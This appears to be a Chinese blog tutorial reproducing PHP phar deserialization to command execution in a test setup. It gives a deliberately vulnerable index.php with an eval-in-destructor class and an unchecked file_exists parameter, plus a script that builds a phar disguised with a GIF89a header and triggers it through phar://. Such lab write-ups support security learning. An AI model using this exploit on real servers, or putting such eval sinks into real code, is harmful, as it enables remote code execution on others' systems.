测试环境的过程大概是:构成出来的phar文件,并修改为任意后缀上传至服务器。通过index.php中存在的文件操作函数参数可控,把参数设置为 phar://上传文件名 即可导致命令执行。

index.php代码如下

<?php
class foo
{
    var $ha = 'echo "ok";';
    function __destruct()
    {
        eval($this->ha);
    }
}
$ka = $_GET['file'];
file_exists($ka);

可以看出 foo是一个危险的类,当危险对象被反序列化时会导致命令执行。但是在index.php中,只有一个file_exists()的文件操作函数。

构造phar文件的代码

<?php
//把要进行反序列化的对象放在此处
class foo
{
    var $ha = 'echo "ok";';
    function __destruct()
    {
        eval($this->ha);
    }
}
    //生成对应可被利用的对象
    $o = new foo();   $o->ha='echo "error";';
    @unlink("phar.phar");
    $phar = new Phar("phar.phar");
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头用以欺骗检测
    $phar->setMetadata($o); //将自定义meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

运行此文件,生成可利用的 phar.phar 文件,并修改后缀为gif  (ps:可以修改为任意后缀,但是因为这里做了一个GIF89a头的伪装,所以我就修改为gif了,头部特征也可以任意修改,但是<?php __HALT_COMPILER(); ?> 这段不能动,它是php标志识别phar文件的标志),为了方便,我直接把文件移动至了index.php的目录下

利用phar实行php反序列化命令执行(测试环境复现)-LMLPHP

访问index.php,把file参数设置为phar://phar.gif 命令执行成功

利用phar实行php反序列化命令执行(测试环境复现)-LMLPHP

一些其他可以触发成功的函数:

利用phar实行php反序列化命令执行(测试环境复现)-LMLPHP

参考文章:https://paper.seebug.org/680/

05-08 14:55